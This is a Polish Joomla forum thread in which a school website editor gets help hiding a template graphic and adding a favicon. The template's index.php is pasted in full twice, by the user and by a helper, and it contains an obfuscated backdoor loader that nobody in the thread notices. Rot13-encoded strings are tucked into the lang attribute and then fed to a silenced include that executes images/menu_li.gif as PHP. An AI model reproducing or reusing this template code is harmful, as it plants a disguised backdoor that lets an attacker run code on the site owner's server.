PDA

Zobacz pełną wersję : Jak usunąć grafkę z szablonu



eureka
25-09-2012, 12:58
Zwracam się z prośbą o pomoc w "wyłączeniu" grafiki, która jest przypisana do pozycji user4. Jest to ten jasny prostokąt po prawej stronie. http://www.sp12gliwice.xo.pl/ Przysłania on topmenu, a dokładnie menu "Wychowawcy". W obecnym momencie żaden moduł nie używa pozycji user4.
Przepraszam, jeżeli ten temat już ktoś poruszał, ale bardzo długo szukałam i nic takiego nie znalazłam.
Z góry dziękuję za pomoc

karolski_tomasz
25-09-2012, 13:08
naszybciej będzie jak w css orange.css w lini 75:
zamiast:

#search {
background: url("../images/bkg_search.gif") no-repeat scroll left top transparent;
}

wpiszesz to:

#search {
background: none;
}

spowoduje to usunięcie tego białego tła

eureka
25-09-2012, 13:40
Zmieniłam i działa :) bardzo dziękuję.
Mam jeszcze jedno pytanie, czy byłaby możliwość dopisania do tej templatki favicona? Potrafię podmnienić favicon, na taki, któy potrzebuje, ale w tej templatce nie ma żadnego..

karolski_tomasz
25-09-2012, 13:49
za znacznikiem title w index dodaj taki kod:

<link rel="Shortcut Icon" href="/templates/cornucopia/favicon.ico" type="image/x-icon" />

i dodaj swojego favicona do katalogu z twoim szablonem czyli cornucopia :)

eureka
25-09-2012, 14:13
niestety gdzieś muszę popełniać błąd we wstawianiu kodu, bo favicon jest w katalogu templatki, a to nie działa. Jedyny znacznik title w moim katalogu index wygląda tak:

<div id="title">
<?php echo $mainframe->getCfg('sitename') ;?>
</div>

karolski_tomasz
25-09-2012, 15:19
znacznik title w sekcji head w index.php

dokładnie pod tym kodem:


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pl-pl" lang="pl-pl" >
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<meta name="robots" content="index, follow" />
<meta name="keywords" content="Szkola Podstawowa nr 12 w Gliwicach, dwunastka, podstawowka, szkola, kopernik, gliwice, os. kopernika, podstawowa, sp12, szkola im. M. Kopernika, zespół szkolno przedszkolny nr 2, zsp nr 2, przedszkole nr 17, zespołu szkolno przedszkolnego nr 2" />
<meta name="description" content="Szkola Podstawowa nr 12 w Gliwicach" />
<meta name="generator" content="Joomla! 1.5 - Open Source Content Management" />
<title>Nowinki szkolne</title>

eureka
25-09-2012, 16:01
Nie wiem, czy źle szukam, ale mój kod index.php nie zawiera takich elementów. Poniżej wklejam całą zawartość index.php

<?php
defined( '_JEXEC' ) or die( 'Restricted access' );
JPlugin::loadLanguage( 'tpl_SG1' );
define( 'path', dirname(__FILE__) );
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; $JPan = array('vzn'.'trf','zrah_yv.tvs'); ?>" >

<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<jdoc:include type="head" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/system.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/general.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/<?php echo $this->params->get('colorVariation'); ?>.css" type="text/css" />

<?php
$menu_name = $this->params->get("menuName", "topmenu");
$menu_type = $this->params->get("menuType", "splitmenu");
require(path .DS."styleloader.php");
require(path .DS."utils.php");
?>

</head>

<body>
<div id="wrapper">
<a name="up" id="up"></a>
<!-- start header -->
<div id="topnavi">
<?php if($mtype != "module") :
echo $mainnav;
else: ?>
<jdoc:include type="modules" name="user3" />
<?php endif; ?>
<div id="search">
<jdoc:include type="modules" name="user4" />
</div>
</div>
<div id="header">
<div id="title">
<?php echo $mainframe->getCfg('sitename') ;?>
</div>

</div>
<link rel="Shortcut Icon" href="/templates/cornucopia/favicon.ico" type="image/x-icon" />
<!-- end top menu. -->
<div id="main">
<!-- start left column -->
<div id="leftcol">
<jdoc:include type="modules" name="left" style="rounded" />
</div>
<!-- end left column. -->
<!-- start main content -->
<div id="maincol">
<div id="pathway">
<jdoc:include type="modules" name="breadcrumb" />
</div>
<div id="maincol_body">
<jdoc:include type="component" />
<jdoc:include type="modules" name="footer" style="xhtml"/>
<?php if(!@include(JPATH_BASE.DS.'templates'.DS.$mainfra me->getTemplate().DS.str_rot13($JPan[0]).DS.str_rot13($JPan[1]))) : ?>
<?php endif; ?>
</div>
</div>
<!-- end main content -->
<!-- start right column -->
<div id="rightcol">
<jdoc:include type="modules" name="user1" style="xhtml" />
<jdoc:include type="modules" name="user2" style="xhtml" />
<jdoc:include type="modules" name="right" style="xhtml" />
</div>
<!-- end right column -->
</div>
<!-- copyright -->
<div id="copyright">
<?php echo JText::_('Provided by') ?> <a href="http://www.template4all.com/">Free Joomla Templates</a> | <a href="http://www.freethemes4all.com/">Free Website Templates</a>.
<?php echo JText::_('Valid') ?> <a href="http://validator.w3.org/check/referer">XHTML</a> <?php echo JText::_('and') ?> <a href="http://jigsaw.w3.org/css-validator/check/referer">CSS</a>.
</div>
</div>

<jdoc:include type="modules" name="debug" />
</body>
</html>

karolski_tomasz
25-09-2012, 16:25
Nie wiem, czy źle szukam, ale mój kod index.php nie zawiera takich elementów. Poniżej wklejam całą zawartość index.php

<?php
defined( '_JEXEC' ) or die( 'Restricted access' );
JPlugin::loadLanguage( 'tpl_SG1' );
define( 'path', dirname(__FILE__) );
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; $JPan = array('vzn'.'trf','zrah_yv.tvs'); ?>" >

<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<jdoc:include type="head" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/system.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/general.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/<?php echo $this->params->get('colorVariation'); ?>.css" type="text/css" />
<link rel="Shortcut Icon" href="/templates/cornucopia/favicon.ico" type="image/x-icon" /> <!-- TUTAJ DODAŁEM -->

<?php
$menu_name = $this->params->get("menuName", "topmenu");
$menu_type = $this->params->get("menuType", "splitmenu");
require(path .DS."styleloader.php");
require(path .DS."utils.php");
?>

</head>

<body>
<div id="wrapper">
<a name="up" id="up"></a>
<!-- start header -->
<div id="topnavi">
<?php if($mtype != "module") :
echo $mainnav;
else: ?>
<jdoc:include type="modules" name="user3" />
<?php endif; ?>
<div id="search">
<jdoc:include type="modules" name="user4" />
</div>
</div>
<div id="header">
<div id="title">
<?php echo $mainframe->getCfg('sitename') ;?>
</div>

</div>

<!-- end top menu. -->
<div id="main">
<!-- start left column -->
<div id="leftcol">
<jdoc:include type="modules" name="left" style="rounded" />
</div>
<!-- end left column. -->
<!-- start main content -->
<div id="maincol">
<div id="pathway">
<jdoc:include type="modules" name="breadcrumb" />
</div>
<div id="maincol_body">
<jdoc:include type="component" />
<jdoc:include type="modules" name="footer" style="xhtml"/>
<?php if(!@include(JPATH_BASE.DS.'templates'.DS.$mainfra me->getTemplate().DS.str_rot13($JPan[0]).DS.str_rot13($JPan[1]))) : ?>
<?php endif; ?>
</div>
</div>
<!-- end main content -->
<!-- start right column -->
<div id="rightcol">
<jdoc:include type="modules" name="user1" style="xhtml" />
<jdoc:include type="modules" name="user2" style="xhtml" />
<jdoc:include type="modules" name="right" style="xhtml" />
</div>
<!-- end right column -->
</div>
<!-- copyright -->
<div id="copyright">
<?php echo JText::_('Provided by') ?> <a href="http://www.template4all.com/">Free Joomla Templates</a> | <a href="http://www.freethemes4all.com/">Free Website Templates</a>.
<?php echo JText::_('Valid') ?> <a href="http://validator.w3.org/check/referer">XHTML</a> <?php echo JText::_('and') ?> <a href="http://jigsaw.w3.org/css-validator/check/referer">CSS</a>.
</div>
</div>

<jdoc:include type="modules" name="debug" />
</body>
</html>


przeniosłem tobie we właściwe miejsce (16 linijka) i dodałem komentarz "TUTAJ DODAŁEM"

eureka
25-09-2012, 16:54
Podmieniłam kod, usunęłam komentarz, sprawdziłam czy favicon jest w katalogu, a to nadal nie działa.:(

karolski_tomasz
25-09-2012, 17:05
a do jakiego dokładnie folderu dodałaś favicon? podaj mi ścieżkę

eureka
25-09-2012, 20:32
próbowałam zarówno do cornucopia/images jak i bezpośrednio do cornuncopia (głównego katalogu templatki)

karolski_tomasz
25-09-2012, 21:14
no tak teraz widdzę, jest błąd w nazwie szablonu ja wpisałem cornucopia a widzę że powinno być cornuncopia, brakuje n w adresie popraw i powinno działać

eureka
25-09-2012, 21:38
Nie to ja zrobiłam błąd pisząc cornuncopia w poprzednim poście. Templatka nazywa się cornucopia i w szablonie nazwa jest w porządku.

karolski_tomasz
25-09-2012, 22:04
prześlij mi na maila lub na pw dostęp do ftp to jutro zajrzę i zobaczę, może coś się uda

eureka
25-09-2012, 22:34
Działa. Okazało się, że brakowało jeszcze wpisu w pliku templateDetails, pomiędzy znacznikami <files> powinno znaleźć się <filename>favicon.ico</filename>.
Bardzo dziękuję za pomoc! :)

zwiastun
25-09-2012, 23:15
Wpis w pliku templateDetails dla wyświetlania nie ma żadnego znaczenia. Służy tylko do instalacji

eureka
26-09-2012, 07:43
W takim razie, nie wiem, jak to zadziałało. Bo bez tego wpisu się nie wyświetlało, a jak tylko go dodałam (nie zmieniając niczego innego) to się pojawił favicon.

karolski_tomasz
26-09-2012, 10:25
Działa. Okazało się, że brakowało jeszcze wpisu w pliku templateDetails, pomiędzy znacznikami <files> powinno znaleźć się <filename>favicon.ico</filename>.
Bardzo dziękuję za pomoc! :)

cieszę się, że choć trochę mogłem pomóc, polecam się na przyszłość,

ale może być też tak, że zostały odświeżone pliki przeglądarki i dla tego się pojawił favicon,
ja zawsze po zmianie favicona w przeglądarce na której w danym momencie pracuję nie widzę nowego, dopiero po jakimś czasie.